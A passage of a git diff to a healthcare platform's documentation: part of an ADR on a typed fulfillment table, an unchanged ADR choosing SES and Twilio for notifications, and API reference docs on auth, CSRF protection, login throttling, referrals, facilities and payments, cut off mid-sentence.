+- **The two forms do not diverge in their data.** What a fulfillment *is* β€” a + facility, a status, timestamps, one order β€” is identical for a prescription + and a lab order. The lab-specific payload lives in `LabResult` already + (Β§4.6), which keeps its own `labOrderId`/`fulfillingFacilityId` pair; #16 + attaches results there and needs no new column on the fulfillment row. A + split would be justified by divergent fields or divergent lifecycles, and + neither exists today. +- **Consistency with `PaymentIntent`.** Two solutions to one problem means + every future reader has to learn both and remember which table uses which. +- **Reversibility, stated honestly.** The table has no rows and no readers + yet, so this is a cheap decision to make now and would have been an expensive + one after #15 and #16 shipped. It is *not* cheap after that; the second + table would have to be introduced with its own migration and a + one-fulfillment-per-order constraint spanning both. + +Rejected alternatives: + +- **Split into `PrescriptionFulfillment` / `LabOrderFulfillment`.** Real FKs + and NOT NULL on the order reference (the one genuine gain: the discriminator + becomes a column-level guarantee instead of a table-level CHECK), at the + price of two copies of every transition rule, a hand-rolled union for the + facility queue, and a second answer to a question this schema already + answered. Not worth it for two forms that share every field. +- **Keep `orderType` + `orderId`, add a CHECK and an application guard** β€” + the literal option Β§6.1.3 offered. Rejected because the CHECK only validates + the *label*; `orderId` stays a bare `TEXT` with no FK, so a fulfillment can + still point at a nonexistent or wrong-typed order, and the only thing + standing between that and corrupt clinical history is application code. A + dangling `orderId` on a row whose order was deleted (or never existed) is + exactly the bug class Β§6.1.3 names; hard rule 4 (module-boundary purity) + means the guard cannot even be a join the database checks for you. +- **A `VIEW` over two split tables**, to keep one facility query β€” adds a + schema object Prisma cannot map as a model (v7 has no view support), so it + gets read with `$queryRaw` anyway: the union survives, plus a hand-maintained + projection that silently breaks whenever a column is added. +- **Table-per-kind with a shared `Fulfillment` parent (JOI/CTI inheritance).** + Postgres has no native table inheritance worth using here; a join to read a + status is the ceremony Β§6.3 exists to prevent. + +## Consequences + +- **Where the columns live:** `backend/prisma/schema.prisma` Β§4.7 model, with + back-relations on `Prescription` (`fulfillment`), `LabOrder` (`fulfillment`) + and `FacilityProfile` (`fulfillments`). Migration: + `backend/prisma/migrations/*_fulfillment_record_typed_order_fks/migration.sql`. + It drops the two placeholder columns and aborts if the old table has any + rows: a `(orderType, orderId)` pair that was never validated cannot be + reinterpreted as a typed reference without a human, so the migration refuses + rather than guesses (same posture as #9's placeholder guard). +- **Reading the order type.** Code branches on which FK is non-null + (`row.prescriptionId ? 'prescription' : 'lab_order'`) instead of reading a + stored label. No `OrderType` enum returns β€” there was an `OrderTypeForPayment` + enum in the payments sketch, dropped in #85, and nothing here needs it back. +- **One fulfillment per order, permanently, in v1.** The `UNIQUE` on each + column is the guarantee. Consequence, not papered over: a facility that + `reject`s an order cannot be swapped for another facility by creating a + second row β€” re-routing after rejection needs a partial unique index + (`WHERE status NOT IN ('fulfilled','rejected')`), which Prisma cannot declare + and which nobody has asked for yet. A `rejected` order follows the path + already built: its payment intent is refunded (Phase 5.5, `POST + /payments/intents/:id/refund`), and a corrected order is a *new* + `Prescription`/`LabOrder` row via `supersedes_*_id` β€” which, being a new row, + gets its own new fulfillment. Deferred until a real workflow needs it; + revisit triggers are #15's reject path and #12's order-expiry work. +- **`facilityId` is denormalised, and deliberately so.** The order already + names its facility at issuance (`Prescription.facilityProfileId` / + `LabOrder.facilityProfileId`), so the fulfillment row copies it rather than + deriving it: the facility queue must filter on the fulfillment table to be + indexable, and hard rule 5 needs ownership on the row the facility writes. + The invariant "`record.facilityId` equals its order's `facilityProfileId`" is + enforced by the creating service (#14), which copies it in the issuance + transaction, and by the confirming service (#15), which never re-points it. A + DB trigger could enforce it across tables; rejected as too clever for an + invariant with exactly one writer β€” the same reasoning AGENTS.md's "prefer + the boring solution … around data mutability" rule applies to. If it ever + breaks, the correct fix is the transition function, not a second enforcement + point. +- **Retention: nothing here is deletable by cascade.** All three FKs are + `RESTRICT`, so deleting an order or a facility account cannot silently erase + the fulfillment trail, and `FacilityProfile`'s `Cascade` from `User` (Phase 1) + stops at the fulfillment row instead of propagating into it. The model has no + direct patient FK β€” ADR 0010's rule applies to clinical rows that *gain* one; + a fulfillment inherits its patient through the order, whose + `patientProfileId` is already `RESTRICT` and already covered by the orders + module's retention hold (`src/retention-holds.ts`). No new hold is required, + and this ADR does not add one. +- **What Phase 5's remaining issues get from this:** #14 creates the row + (`pending`) when a qualified facility is selected, and owns the + capabilityβ†’facility check; #15 implements the transition function above and + is the only code path that may set `fulfilled` β€” the endpoint that marks the + order fulfilled, and the audit event that records it (Β§6.2.4 still owes the + Phase 4/5 transitions); #16 attaches `LabResult` through its existing table. + Phase 5.5's escrow release then triggers off `status == 'fulfilled'` on this + table, which is the seam ADR 0004 says the admin-triggered release is an + interim for. +- **No API surface or service code changes here.** The model has no readers + yet, so this decision ships as schema + documentation; the first behavior + lands with #14. +- **Docs updated in this change:** ARCHITECTURE.md Β§4.7 (the sketch becomes + what was built), Β§6.1.3 and Β§6.3.1 marked resolved, ARCHITECTURE_ESSENTIALS.md's + data-model map and "Known unresolved design gaps", ROADMAP.md Phase 5's + prerequisite item. diff --git a/docs/adr/0013-notification-provider.md b/docs/adr/0013-notification-provider.md index e26e882d..14721e2e 100644 --- a/docs/adr/0013-notification-provider.md +++ b/docs/adr/0013-notification-provider.md @@ -1,42 +1,42 @@ -# ADR 0013: Notification provider (email/SMS) - -- **Status:** Accepted -- **Phase:** 6 β€” Notifications -- **Issue:** [Phase 6] ADR: pick notification provider (email/SMS) - -## Context - -ARCHITECTURE.md Β§8 listed the notification provider (email/SMS) as an open question. The rest of Phase 6 (trigger points for booking, referral, and order events) should not be blocked on an undecided provider choice. The codebase already routes all outbound delivery through the provider-agnostic `NotificationChannel` interface in `backend/src/modules/notifications/services/index.ts`, with a console adapter as the default. Business logic depends only on `send(message)` and never on a provider SDK. - -Requirements: - -- A concrete, named provider must be chosen for email (and SMS where needed), not deferred again. -- Provider-specific code must live behind the `NotificationChannel` interface and must not leak into other modules. -- Other modules keep importing only from the notifications `services` surface. - -## Decision - -1. **Email provider: Amazon SES (Simple Email Service).** SES is chosen for transactional email because it is low cost at our expected volume, has a mature Node SDK, supports DKIM/SPF/DMARC configuration on our own domain, and has no per-contract minimums. -2. **SMS provider: Twilio Programmable Messaging.** Twilio is chosen as the SMS adapter because it has broad coverage, a stable API, and straightforward delivery-status webhooks. SMS is not required for the first Phase 6 slice and is adopted only when an SMS-bearing trigger is built. -3. **Adapter placement.** Each provider is implemented as a `NotificationChannel` adapter (e.g. `sesNotificationChannel`, `twilioNotificationChannel`) inside `backend/src/modules/notifications/`. Selection is made at composition time through `setNotificationChannel`. The console adapter remains the default for local development and tests. -4. **Provider-agnostic boundary.** The `Notification` model and dispatch interface stay provider-neutral. No provider SDK types, identifiers, or error codes may appear outside the adapter files. Callers only construct a `NotificationMessage` and call `send`. -5. **Credentials.** Provider credentials are read from configuration/environment only and are never committed. - -## Consequences - -- Phase 6 trigger work can proceed immediately by calling the notifications service; no provider decision is pending. -- Switching providers later requires only a new adapter and a configuration change, with no edits to business logic. -- We take on the operational setup of SES domain verification and Twilio sender registration when the adapters are built. -- The console adapter continues to serve local development until real adapters are wired in. - -## Alternatives considered - -- **SendGrid (email):** comparable capability and pricing; rejected in favor of SES for cost and existing AWS alignment. -- **Postmark (email):** excellent deliverability for transactional mail; rejected for higher per-message cost at scale. -- **Vonage / AWS SNS (SMS):** viable; Twilio chosen for its API maturity and webhook tooling. - -## Follow-ups - -- Implement the SES `NotificationChannel` adapter and its configuration. -- Implement the Twilio `NotificationChannel` adapter when the first SMS trigger ships. -- Update ARCHITECTURE.md Β§8 and the ROADMAP.md Phase 6 checklist to reflect this decision. +# ADR 0013: Notification provider (email/SMS) + +- **Status:** Accepted +- **Phase:** 6 β€” Notifications +- **Issue:** [Phase 6] ADR: pick notification provider (email/SMS) + +## Context + +ARCHITECTURE.md Β§8 listed the notification provider (email/SMS) as an open question. The rest of Phase 6 (trigger points for booking, referral, and order events) should not be blocked on an undecided provider choice. The codebase already routes all outbound delivery through the provider-agnostic `NotificationChannel` interface in `backend/src/modules/notifications/services/index.ts`, with a console adapter as the default. Business logic depends only on `send(message)` and never on a provider SDK. + +Requirements: + +- A concrete, named provider must be chosen for email (and SMS where needed), not deferred again. +- Provider-specific code must live behind the `NotificationChannel` interface and must not leak into other modules. +- Other modules keep importing only from the notifications `services` surface. + +## Decision + +1. **Email provider: Amazon SES (Simple Email Service).** SES is chosen for transactional email because it is low cost at our expected volume, has a mature Node SDK, supports DKIM/SPF/DMARC configuration on our own domain, and has no per-contract minimums. +2. **SMS provider: Twilio Programmable Messaging.** Twilio is chosen as the SMS adapter because it has broad coverage, a stable API, and straightforward delivery-status webhooks. SMS is not required for the first Phase 6 slice and is adopted only when an SMS-bearing trigger is built. +3. **Adapter placement.** Each provider is implemented as a `NotificationChannel` adapter (e.g. `sesNotificationChannel`, `twilioNotificationChannel`) inside `backend/src/modules/notifications/`. Selection is made at composition time through `setNotificationChannel`. The console adapter remains the default for local development and tests. +4. **Provider-agnostic boundary.** The `Notification` model and dispatch interface stay provider-neutral. No provider SDK types, identifiers, or error codes may appear outside the adapter files. Callers only construct a `NotificationMessage` and call `send`. +5. **Credentials.** Provider credentials are read from configuration/environment only and are never committed. + +## Consequences + +- Phase 6 trigger work can proceed immediately by calling the notifications service; no provider decision is pending. +- Switching providers later requires only a new adapter and a configuration change, with no edits to business logic. +- We take on the operational setup of SES domain verification and Twilio sender registration when the adapters are built. +- The console adapter continues to serve local development until real adapters are wired in. + +## Alternatives considered + +- **SendGrid (email):** comparable capability and pricing; rejected in favor of SES for cost and existing AWS alignment. +- **Postmark (email):** excellent deliverability for transactional mail; rejected for higher per-message cost at scale. +- **Vonage / AWS SNS (SMS):** viable; Twilio chosen for its API maturity and webhook tooling. + +## Follow-ups + +- Implement the SES `NotificationChannel` adapter and its configuration. +- Implement the Twilio `NotificationChannel` adapter when the first SMS trigger ships. +- Update ARCHITECTURE.md Β§8 and the ROADMAP.md Phase 6 checklist to reflect this decision. diff --git a/docs/api/README.md b/docs/api/README.md index 93ee0167..88f98db9 100644 --- a/docs/api/README.md +++ b/docs/api/README.md @@ -1,462 +1,462 @@ -# API docs - -Endpoints are grouped by module below. Which phases are built is tracked -in `ROADMAP.md`, not here. Keep this file in sync with -`backend/src/modules/*/routes` (AGENTS.md doc-update rule): when you add or -change an endpoint, add or edit its row in that module's table, and leave -the rest of the file alone. - -Base URL: `http://localhost:4000` locally (`PORT` in `.env`). No OpenAPI spec yet β€” TBD, tracked informally, not blocking Phase 1. - -## Auth (`/auth`) β€” `backend/src/modules/auth` - -| Method & path | Auth | Body | Notes | -|---|---|---|---| -| `POST /auth/signup` | none | `{ role: 'patient'\|'doctor', email, password, fullName }` | **`role` is restricted to `patient`/`doctor` server-side, not just in docforum-web's UI** β€” facility accounts are admin-invited only (PRD OQ-2). Returns `{ user, accessToken }`; sets an httpOnly refresh cookie. Stores the best supported language from `Accept-Language` (`en` fallback) as `user.locale`. | -| `POST /auth/login` | none | `{ email, password }` | Same response shape as signup. **Throttled** (Phase 8, issue #35) β€” see below. | -| `POST /auth/refresh` | refresh cookie + `X-CSRF-Token` | β€” | Reads the httpOnly cookie (not the body). Returns a fresh `{ user, accessToken, csrfToken }` and rotates the cookie **and** the CSRF token. `403` if the CSRF token is missing/wrong or the `Origin` isn't allowlisted. | -| `POST /auth/logout` | `X-CSRF-Token` | β€” | Clears the refresh cookie. `204 No Content`; `403` without the CSRF header or from a disallowed `Origin`. | -| `POST /auth/verify-email` | none | `{ token }` | Redeems the token from the verification email. `200 { emailVerifiedAt }`. Errors are `400` with `code: 'INVALID_VERIFICATION_TOKEN'` (unknown / already used) or `code: 'VERIFICATION_TOKEN_EXPIRED'`. Single-use and atomic β€” two concurrent redemptions can't both succeed. | -| `POST /auth/verify-email/resend` | access token | β€” | Re-sends to the caller's own address. `200 { resendAfterSeconds }`. `409 EMAIL_ALREADY_VERIFIED` if already verified; `429 EMAIL_VERIFICATION_RATE_LIMITED` if a mail went out less than `EMAIL_VERIFICATION_RESEND_INTERVAL_SECONDS` ago (default 60). Authenticated and account-scoped on purpose β€” no email in the body, so it can't be used to enumerate accounts. | - -### Email verification (Phase 8, issue #34) - -`POST /auth/signup` creates the account **unverified** (`user.emailVerifiedAt` -is `null` in the response and in `GET`-style payloads). Unverified accounts -can log in, refresh, and browse; they get -`403 { message, code: 'EMAIL_NOT_VERIFIED' }` from mutating routes that -depend on a trustworthy contact address: - -- `POST /appointments` (booking) -- `POST /consultations`, `POST /consultations/:id/referrals` -- `POST /referrals`, `POST /referrals/from-consultation/:id`, - `POST /referrals/:id/{accept,decline}` -- `POST /payments/wallet-link`, `POST /payments/intents/:id/prepare`, - `POST /payments/intents/:id/{fund,release,refund}` - -(`GET`-style routes β€” lists, availability, the admin referral queue β€” -are deliberately *not* gated on verification: browsing needs no contact -address.) - -That guard reads the database rather than trusting a claim in the access -token, so verifying in one tab unblocks the caller immediately instead of -after the 15-minute token TTL. - -**No email provider is integrated yet** (Phase 6, issue #17) β€” -`backend/src/modules/auth/services/email-dispatcher.ts` is the -provider-agnostic seam and currently drops the message (logging only the -subject and recipient, never the body/token). On a hosted deployment, an -operator can mark an address verified out-of-band with -`node backend/scripts/mark-email-verified.mjs `; see -`scripts/README.md`. This is a documented interim, not the end state. - -Env knobs: `EMAIL_VERIFICATION_TOKEN_TTL_MINUTES` (default 1440), -`EMAIL_VERIFICATION_RESEND_INTERVAL_SECONDS` (default 60), -`EMAIL_VERIFICATION_LANDING_URL` (where the emailed link points). - -### CSRF (Phase 8, issue #37) - -The refresh cookie is `SameSite=None; Secure` in production (docforum-web on -GitHub Pages and this API on Render are different sites), so **any** website -can cause a browser to send it to `/auth/refresh` / `/auth/logout`. Those two -routes are therefore protected by: - -1. **A required `X-CSRF-Token` header** carrying the `csrfToken` from the - login/signup/refresh response body. It's a claim inside the refresh JWT - for that session, so it rotates together with the cookie and needs no - server-side state. On `/auth/logout` there is no session token to match - against, so the header's presence is required instead (the impact of a - forged logout is a forced sign-out, not data loss). -2. **An `Origin` allowlist** β€” a request whose `Origin` is present and not on - the CORS allowlist is rejected with `403 Origin not allowed.` -3. **An explicit per-environment CORS allowlist** β€” `CORS_ORIGINS` - (comma-separated; `CORS_ORIGIN` still works as a single origin). - Production defaults to `https://docforum.github.io`; local dev to - `http://localhost:5173` and `http://127.0.0.1:5173`. - -**Why not a double-submit cookie** (the usual default): a cookie set by this -API is a third-party cookie to `docforum.github.io`, so docforum-web's -JavaScript can never read it β€” the value therefore has to travel in the -response body instead. See `backend/src/middleware/csrf.ts`. - -**Client requirements (docforum-web):** - -- Store `csrfToken` from the signup/login/refresh response next to the access - token (in memory), and replace it on every refresh response. -- Send it on the two cookie-authenticated calls: - `fetch(url, { method: 'POST', credentials: 'include', headers: { 'X-CSRF-Token': csrfToken } })`. -- A `403` there means re-login, not retry. - -**Requests with no `Origin` header** (curl, server-to-server): allowed past -the Origin check, but the CSRF header is still required β€” an attacker's page -can't win by suppressing `Origin`. Sessions issued before this change carry -no `csrf` claim in their refresh token, so they are rejected with `403` and -need one re-login. - -### Login throttling (Phase 8, issue #35) - -`POST /auth/login` is rate-limited **per normalised email and per client -IP**, with state in Postgres (so it survives restarts and doesn't assume a -single instance). Bucket size is capped by the first limit reached: - -| Phase | Response | -|---|---| -| Below `LOGIN_THROTTLE_BACKOFF_AFTER` failures (default 3) in the window | normal `401 { message: 'Invalid email or password.' }` | -| At/after it | `429` with a `Retry-After: ` header, growing exponentially (`LOGIN_THROTTLE_BACKOFF_BASE_SECONDS` Γ— 2ⁿ, capped at `LOGIN_THROTTLE_BACKOFF_MAX_SECONDS`) | -| At `LOGIN_THROTTLE_LOCK_AFTER` failures (default 10) | `429` locked for `LOGIN_THROTTLE_LOCK_SECONDS` (default 15 min). The lock is set once per window and is not extended by further attempts | -| Window (`LOGIN_THROTTLE_WINDOW_SECONDS`, default 15 min) | New window restarts the count at 1 and clears the lock | - -A successful login clears the **per-account** counter. The per-IP bucket is -left alone, so one valid login can't reset a shared-IP budget. - -Clients should honour `Retry-After` and must **not** treat a `429` as -"account locked permanently". The response is identical for a real and a -non-existent address, and for a locked and a backing-off bucket β€” it -deliberately reveals nothing about whether the account exists (an absent -account also pays bcrypt's comparison cost, so timing doesn't leak either). - -`POST /auth/login-attempts/clear` (admin-only) clears a lock a legitimate -user is stuck behind: body `{ email?, ip? }` (at least one), returns -`{ cleared }`. Clear **both** when a lock was taken out via the account's IP, -or the IP bucket will keep refusing them. It's logged to the server console -β€” the `AuditEvent` table (ARCHITECTURE.md Β§4.10) records booking, doctor -verification, payments and the referral admin actions, but not the -login-throttle clear, so that's still the interim record. - -Under the hood this uses Express's `trust proxy` setting via the -`TRUST_PROXY` env var: `1` behind Render's single proxy hop, `false` (the -default) locally. See `ARCHITECTURE.md` Β§7 β€” the wrong value is a security -bug in either direction. A cleanup interval in `src/server.ts` prunes -buckets whose last failure is older than -`LOGIN_THROTTLE_PRUNE_AFTER_SECONDS` (default 24 h). - -Access tokens: `Authorization: Bearer `, 15-minute TTL, no -revocation list yet (see `ARCHITECTURE_ESSENTIALS.md` known gaps β€” -JWT refresh rotation without a revocation list). Refresh tokens: httpOnly -cookie, 30-day TTL, `SameSite=None; Secure` in production and -`Lax`/insecure locally β€” the attributes live in `config.cookie` -(`backend/src/config/index.ts`) so the refresh and CSRF cookies can never -drift apart. See `docs/adr/0003` for why production needs `SameSite=None`. - -Every token carries a `tv` claim (the user's `tokenVersion` at issue time). -Bumping `User.tokenVersion` β€” which password reset does β€” invalidates every -outstanding refresh token for that user at the next refresh. This is the -interim kill switch for issue #33; the fuller revocation list (per-session -revocation, #18) is still open, so a bumped-away **access** token keeps -working until its 15-minute TTL elapses. Refresh tokens are checked -against `tokenVersion` on every `POST /auth/refresh`. - -## Doctors (`/doctors`) β€” `backend/src/modules/doctors` - -| Method & path | Auth | Notes | -|---|---|---| -| `GET /doctors` | none | Query: optional `specialty` slug, typo-tolerant `q`, `limit` (1–50, default 20), and keyset `cursor`. Returns `{ items: [{ id, fullName, specialties: [{ id, name, slug }] }], nextCursor }`; only verified profiles and public fields are returned. One/two-character queries use prefix matching; longer queries use `pg_trgm` similarity. The frontend fetches slot details separately. | -| `GET /doctors/me` | doctor | Returns the caller's own `DoctorProfile`. | -| `PUT /doctors/me/specialties` | doctor | Body `{ specialtyIds: string[] }`; replaces the caller's specialty assignments. Unknown ids return `400`. | -| `PATCH /doctors/:doctorProfileId/verification` | admin | Body `{ status: 'pending'\|'verified'\|'rejected' }`. Manual, admin-gated per PRD FR-3 β€” there is no automated verification pipeline. | - -## Specialties (`/specialties`) β€” `backend/src/modules/doctors` - -| Method & path | Auth | Notes | -|---|---|---| -| `GET /specialties` | none | Lists the seeded specialty catalog as `{ id, name, slug }` records. | - -## Availability (`/availability`) β€” `backend/src/modules/availability` - -| Method & path | Auth | Body | Notes | -|---|---|---|---| -| `GET /availability/doctors/:doctorProfileId/slots` | none | β€” | Lists that doctor's open, future slots. Public on purpose β€” a patient needs to see availability before signing in. | -| `POST /availability/doctors/:doctorProfileId/slots/generate` | doctor (self only) | `{ date: 'YYYY-MM-DD', startHour, endHour, slotLengthMinutes }` | Fixed-length, single-day generation β€” no recurrence engine (ARCHITECTURE.md Β§6.3.6 guardrail). Idempotent: re-running with an overlapping range skips slots that already exist rather than erroring or duplicating. | - -## Appointments (`/appointments`) β€” `backend/src/modules/appointments` - -| Method & path | Auth | Body | Notes | -|---|---|---|---| -| `POST /appointments` | patient | `{ availabilitySlotId, patientProfileId? }` | **The concurrency-critical endpoint** β€” see `ARCHITECTURE.md Β§5.1` and `backend/tests/integration/booking.test.mts`. `409` if the slot is no longer open. Load-tested under contention (Phase 9, issue #86) β€” see `backend/tests/load/README.md`. `patientProfileId` (Phase 8, issue #42) books for a dependent you're an active guardian of; omit it (or pass your own profile id) to book for yourself. Someone else's profile or dependent: `404`, checked before anything is booked. A dependent whose guardianship ended (revoked / reached majority): `403 GUARDIANSHIP_INACTIVE`. | -| `GET /appointments/mine` | patient | β€” | Caller's own appointments, most recent first. `?patientProfileId=` lists an active dependent's instead (same authorisation as booking). | -| `GET /appointments/doctor/today` | doctor | β€” | Caller's scheduled appointments for the current server-local calendar day, ordered by slot start time. | -| `PATCH /appointments/:appointmentId/status` | doctor (treating doctor only) | `{ status: 'completed'\|'cancelled'\|'no_show' }` | Issue #3's lifecycle, and the trigger for the referral cascade (#67): if the appointment came from a referral, the referral moves in the same transaction (completed β†’ referral completed; cancelled β†’ referral back to `pending` and the slot released; no-show β†’ count++, pending until `NO_SHOW_EXPIRY_THRESHOLD` (2) then `expired`). `409` unless the appointment is still `scheduled`. | -| `PATCH /appointments/:appointmentId/cancel` | patient (own appointment) | β€” | Patient-side cancellation, `scheduled` only. Same slot-release + cascade behaviour as above. | - -## Consultations (`/consultations` + `/appointments`) β€” `backend/src/modules/consultations` - -Phase 2, issue #4 (close-once) and Phase 3's referral slice. The module owns -the `Consultation` row: **one writer**, `consultationsService.createConsultation`, -reached through three addresses β€” the appointment-scoped close route, the -`/consultations` create route, and the orders flow's consultation step (which -adds its own verified-doctor gate and delegates). Same guarantees regardless -of the address. - -| Method & path | Auth | Body | Notes | -|---|---|---|---| -| `POST /appointments/:appointmentId/consultation` | doctor (own **completed** appointment, verified email) | `{ outcome: 'resolved' \| 'referred' \| 'follow_up_needed', notes }` | Closes the appointment's consultation. `201` returns `{ consultation, appointment }`; `404` if the appointment doesn't exist **or isn't the caller's** (no existence leak); `409` if the appointment isn't `completed` or its consultation was already closed; `400` on an unknown outcome or empty/over-20k notes. | -| `POST /consultations` | doctor (own completed appointment, verified email) | `{ appointmentId, outcome?, notes? }` | The same write with the appointment in the body β€” Phase 3's address for it. `201` returns the consultation. `outcome` is optional here so a record can exist before sign-off; the close route above requires it. | -| `GET /consultations/:consultationId` | doctor (treating) or patient (own visit) | β€” | Anyone else gets `403`; unknown id `404`. `notes` comes back decrypted. | -| `POST /consultations/:consultationId/referrals` | doctor (treating, verified email) | `{ targets: [{ targetDoctorId?, targetSpecialtyId?, snapshotNotes }] }` | Issue #66 β€” atomic all-or-none multi-referral. Equivalent to `POST /referrals/from-consultation/:consultationId` below; both live on the referrals service, so a specialty-only target is routed at creation exactly as that row describes (issue #6). | - -Once-only is a database guarantee, not an app-level check: -`Consultation.appointmentId` is `UNIQUE`, so two concurrent closes can't both -commit β€” the loser gets `409`. There is no amendment/edit path in v1 (an -explicit open question, not an assumption). - -`notes` is clinical free text and is stored **encrypted** (AES-256-GCM -envelope, `v1:::` β€” ARCHITECTURE.md Β§4.3, issue #46); it is -returned in plaintext to the caller who just wrote it and to a permitted -reader. This requires `FIELD_ENCRYPTION_KEY_V1` (32 bytes, base64) and -optionally `FIELD_ENCRYPTION_ACTIVE_VERSION` (default `v1`) to be set; a -missing key is a `500` on the write, not a silent plaintext write. Encrypted -columns cannot be searched or indexed. - -Every write also records an `AuditEvent` (`consultation.closed`) in the same -transaction, so the event exists iff the consultation was written. - - -## Referrals (`/referrals`) β€” `backend/src/modules/referrals` - -| Method & path | Auth | Body | Notes | -|---|---|---|---| -| `POST /referrals` | doctor | `{ sourceConsultationId, targetDoctorId?, targetSpecialtyId?, snapshotNotes }` | Issues #5 and #6 (routing β€” `docs/adr/0008-referral-routing-without-target-doctor.md`). Requires: the caller's own **completed** appointment's consultation, at least one of `targetDoctorId` / `targetSpecialtyId` (`400` otherwise), no self-referral, no duplicate target for that consultation. A named doctor must be verified (and verified in `targetSpecialtyId` when given). **A specialty-only target is routed at creation to the least-loaded eligible doctor** β€” verified, holds the specialty, not the referring doctor, active account; fewest `pending`+`accepted` referrals, ties broken by doctor id β€” and the response carries the resolved `targetDoctorId`. When nobody is eligible: `422` with `code: "REFERRAL_NO_ELIGIBLE_TARGET"` and **no referral row is written**. Writes `snapshotNotes` as a copy. A repeat doctor/specialty anywhere in the lineage **flags** the referral (`loopFlaggedAt`) for the admin queue instead of failing; chains over `REFERRAL_MAX_HOPS` (default 4) and self-referrals are `422`. | -| `POST /referrals/from-consultation/:consultationId` | doctor | `{ targets: [...] }` | Issue #66 β€” same atomic batch as the consultations route; the decision to allow multi-referral with independent lifecycles (and no bundle table) is `docs/adr/0006-multiple-referrals-per-consultation.md`. Duplicate doctor *or* specialty inside the batch, or against an existing referral from that consultation, fails the whole batch. Each specialty-only target is routed independently (issue #6), a batch never routes one onto a doctor it names explicitly, and a target with no eligible candidate left fails the whole batch. | -| `POST /referrals/:referralId/accept` | patient (the referred patient) | `{ availabilitySlotId }` | Issue #7. Conditional `pending β†’ accepted` (exactly one concurrent accept wins β†’ `409`), then books a real appointment against the **target doctor** through the same slot-claim path as `POST /appointments` β€” the patient picks the slot; no re-intake, the snapshot travels on the referral. `409` if the slot isn't the target doctor's. Writes two audit rows in the one append-only trail: `referral.accepted` (a `Referral`-typed row) and `appointment.booked` for the appointment it booked (`origin: 'referral'`), both inside the accept's own transaction. | -| `POST /referrals/:referralId/decline` | patient (the referred patient) | β€” | Pending-only, terminal (`409` otherwise). Writes a `referral.declined` audit row. | -| `GET /referrals/mine` | patient | β€” | `{ referrals, groupedByConsultation }` β€” grouped for the "one visit, several referrals" view (#66). | -| `GET /referrals/created` | doctor | β€” | Referrals the caller created, including ones the cascade expired (see `referringDoctorNotifiedAt`) and ones the loop guard flagged. | -| `GET /referrals/admin/queue` | admin | query: `status`, `olderThan` (`48h` / `7d`), `loopFlagged` (`true`\|`false`) | Issue #68 β€” stuck/aged/loop-flagged referrals with a derived human-readable `reason` and `ageMinutes`. | -| `POST /referrals/admin/:referralId/reassign` | admin | `{ targetDoctorId, reason }` | **Pending referrals only.** Moves `targetDoctorId` (validated through the doctors service) β€” the snapshot, lineage and patient are untouched. Writes an `AuditEvent` (`referral.reassign`) in the one append-only audit trail, as a `Referral`-typed row. | -| `POST /referrals/admin/:referralId/cancel` | admin | `{ reason }` | Pending or accepted (`409` on terminal). Cancelling an accepted referral also cancels its live appointment through the appointments service. Writes an `AuditEvent` (`referral.cancel`) in the one append-only audit trail, as a `Referral`-typed row. `cancelled` is distinct from `expired`/`declined` so the three exits stay tellable apart. | -| `GET /referrals/admin/:referralId/audit-events` | admin | β€” | The referral's audit rows, read from the same `AuditEvent` table `GET /admin/audit-events` serves (`entityType: 'Referral'`, `entityId: `): actor, role, action, from/to state, metadata (the admin's `reason` lives in `metadata.reason`), timestamp. | - -## Facilities (`/facilities`) β€” `backend/src/modules/facilities` - -Issue #127: each facility publishes its own price list so an order can be -priced from what the facility actually charges instead of an amount typed by -the doctor. Prices are **versioned by `effectiveFrom` and append-only** β€” a -new price supersedes the old one for future pricing, and history (including -the version an existing intent was priced from) is never rewritten. Amounts -are integer strings of the asset's smallest unit (stroops for native XLM) and -are carried as `BigInt` end to end. A facility with no published price is -"price on request", never a zero charge. - -| Method & path | Auth | Body / query | Notes | -|---|---|---|---| -| `GET /facilities/eligible` | none | query: `type` (`lab`\|`pharmacy`, required), `catalogItemCode?`, `asset?` (default `native`), `at?` (ISO-8601) | Facilities of that type, each with the price in force at `at` (default now) for `catalogItemCode`. Shape: `{ facilities: [{ facilityId, name, type, priceOnRequest, price: { amountStroops, effectiveFrom } \| null }] }`. `price: null` + `priceOnRequest: true` is the documented "price on request" state. Public: patients compare prices before signing in. Capability matching (issue #14, PRD FR-13): only facilities of that type that *hold* the matching `FacilityCapability` (`lab` ↔ `lab_test`, `pharmacy` ↔ `medication_dispense`) are listed β€” **fail closed**, a facility with missing or wrong-type capability data shows for nothing. | -| `GET /facilities/:facilityId/prices` | none | query: `catalogItemCode?`, `asset?` | The facility's full price history, newest first: `{ prices: [{ id, facilityId, catalogItemCode, asset, amountStroops, effectiveFrom, createdAt }] }`. Public. | -| `GET /facilities/me/prices` | facility | query: `catalogItemCode?`, `asset?` | Same shape, scoped to the caller's own facility profile (resolved from the access token, so there is no client-supplied id to forge). | -| `POST /facilities/me/prices` | facility (verified email) | `{ catalogItemCode, amount, asset?, effectiveFrom? }` | Publishes a new version. `amount` is a positive integer string of smallest units (decimals/exponents rejected); `asset` defaults to `native`; `effectiveFrom` defaults to now and may be in the future to schedule a price. `201` with the created version. `409` if that item/asset already has a version with the exact same `effectiveFrom`; `403` for a facility that isn't the caller's. Writes a `FacilityPrice` audit event (`facility_price.created`) in the same transaction. | -| `POST /facilities` | admin | `{ email, password, name, type, capabilities: [{ capabilityType, detail? }] }` | Creates a facility account (issue #14, PRD OQ-2 β€” the only creation path; `POST /auth/signup` refuses `facility`). One transaction: `User` (role `facility`, admin-set initial password β‰₯ 8 chars, `emailVerifiedAt` set since the provider (#17) can't mail a link), `FacilityProfile`, `FacilityCapability` rows, and a `facility.created` `AuditEvent` (ids/counts only). Capabilities must match `type` (`lab` ↔ `lab_test`, `pharmacy` ↔ `medication_dispense`); `detail` is free text (no controlled vocabulary yet). `201` with `{ id, userId, name, type, capabilities, createdAt }` β€” never the credential. `400` on a type/capability mismatch or empty payload, `409` on a duplicate email. | - -Orders: `POST /orders/consultations/:consultationId/{prescriptions,lab-orders}` -accept **either** a manual `amountStroops` **or** a `catalogItemCode` priced -from this list β€” exactly one, never both. With `catalogItemCode`, the intent -snapshots the amount in force at issuance plus the code, so publishing a new -price later cannot re-price an existing intent; a missing price fails the -issuance with `422 { code: 'PRICE_ON_REQUEST' }` and writes no order. - -## Payments (`/payments`) β€” `backend/src/modules/payments` - -Phase 5.5 (custodial v1 β€” `docs/adr/0004-custodial-payments-v1.md`): -`POST /payments/wallet-link` (facility, sets its Stellar payout address), -and admin-gated `GET /payments/intents/:id` plus -`POST /intents/:id/{fund,release,refund}`. Intents are created only as part -of order issuance and carry a typed `Prescription`/`LabOrder` FK. Amounts -are in the smallest unit of 